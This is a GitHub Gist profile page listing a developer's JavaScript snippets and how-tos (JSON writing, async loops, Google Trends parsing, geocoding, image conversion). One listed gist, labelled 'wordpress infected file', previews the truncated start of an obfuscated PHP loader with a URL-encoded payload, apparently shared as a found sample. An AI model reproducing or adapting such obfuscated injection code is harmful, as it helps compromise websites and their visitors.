Skip to content

Instantly share code, notes, and snippets.

Let's code!

Emerson Brôga emersonbroga

Let's code!
View GitHub Profile
emersonbroga / JsonHelper.js
Created September 30, 2021 02:48
Json Helper
View JsonHelper.js
const fs = require('fs');
const JSONWrite = (filePath, data, encoding = 'utf-8') => {
const promiseCallback = (resolve, reject) => {
fs.writeFile(filePath, JSON.stringify(data, null, 2), encoding, (err) => {
if (err) {
emersonbroga / index.html
Created September 20, 2020 23:48
JSBin Test
View index.html
<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JSBin Test</title>
<div class="container">
emersonbroga / .523d666a
Last active August 9, 2020 21:44
wordpress infected file.
View .523d666a
$_8nwch = basename/*zg*/(/*qc3l*/trim/*26m*/(/*yi4kg*/preg_replace/*h9*/(/*vu8d*/rawurldecode/*qsy2e*/(/*mw3*/"%2F%5C%28.%2A%24%2F"/*35e*/)/*2c*/, '', __FILE__/*f9l72*/)/*53o*//*2*/)/*ps*//*950b*/)/*etozv*/;$_nqi68c2 = "GS%12%1BERSP%08%40%0C%07G%09FFA%01W%5Bi%02A%07%17%0AVAmP%16SWB%04%0ENJF%24N8W%01P_X%04%06N%10%1B%5CPS%5E%3BUYX%15K%11%170MGWR%10S%16%11M%0EXJT%24u%5B%5D%0DiES%15%06N%06%1D%5CZ%40l%08YQ%11M%0E%276%23b%1C%09s%0DX_i%12K%1DKHBZUl%01DDY%13%5DNOO%1E%1C%09s%0DX_i%12K%1DKHCTJl%01NSU%14Z%00%0C%01qA%5B%5E%01%11%1A%16Q%07R%23%0A%5CG%5DA%3BDSF%0E%5C%1D%0A%01I%1D%02%1A_vES%15q%1D%0A%02Kj%5EZ%09_B%1EQ%07R%0A%09%06%14VV%02_XS%05%06K3%27~jw%7C%28%14%1F%1F%1AJ%0C%05%06%40P%1A%114~fi%24a%25AC%0E%17n%5DF%1F%0DK%08HIKNJPTZ%0ASR%1EFH%00%0F%0AqEGG%3BUYX%15K%07%17%1C%0E%12%1B%1A%1FRSP%08%40%0CKHH%5C%5EV%3BFCB%3EM%06%0D%1BK%5BF%40D%11%1A%16P%07RG%02_MVT%0DTB%16%5C%0ENPZK%07%07%01%01%01%1BRTL_N%5B%1BQ%0A%1E%05%01%06%0FLH%0C%07%5E%1BS%07%04S%06%04PF%15%0E%0F%00LT%5E%13%40%5BGN%05I%00%01%1B%15SG%5D%07B_Y%0F%0E%11%
emersonbroga /
Last active October 25, 2022 13:28
Convert images from CR2 to JPG.

Conversor de imagens de CR2 para JPG


salve o código como index.js crie uma pasta chamada CR2 adicione os seus arquivos CR2 la crie uma pasta chamada JPG e deixe ela vazia abra o seu terminal e rode npm install --save cr2-raw depois rode node index.js

View asyncLoop.js
function asyncLoop(iterations, func, callback) {
var index = 0;
var done = false;
var loop = {
next: function() {
if (done) {
if (index < iterations) {
View GoogleTrendsService.js
const Parser = require('rss-parser');
const parseVolumeToInt = volume => {
const vol = volume.replace('+', '').replace(',', '');
return Number.parseInt(vol, 10);
async function getGoogleTrends(url) {
const parser = new Parser({
defaultRSS: 2.0,
emersonbroga /
Created February 14, 2019 00:09
Front-end Javascript: Get a specific date/time from a defined Timezone.

#Front-end Timezone with javascript


date-fns date-fns-timezone

##How to Run:

View carbon-test.js
// bad
let name = 'Emerson Broga';
let hello = 'Hello ' + name;
// good
let name = 'Emerson Broga'
let hello = `Hello ${name}`;

Coordinates from adrress with Javascript and Google Maps

How to run

open coordinates-axios.html or coordinates-jquery.html in your browser.

Blog Post

emersonbroga /
Last active November 25, 2018 14:43
Coordinates from adrress with NodeJs and Google Maps

Coordinates from adrress with NodeJs and Google Maps

How to run

npm install --save request
node coordinates.js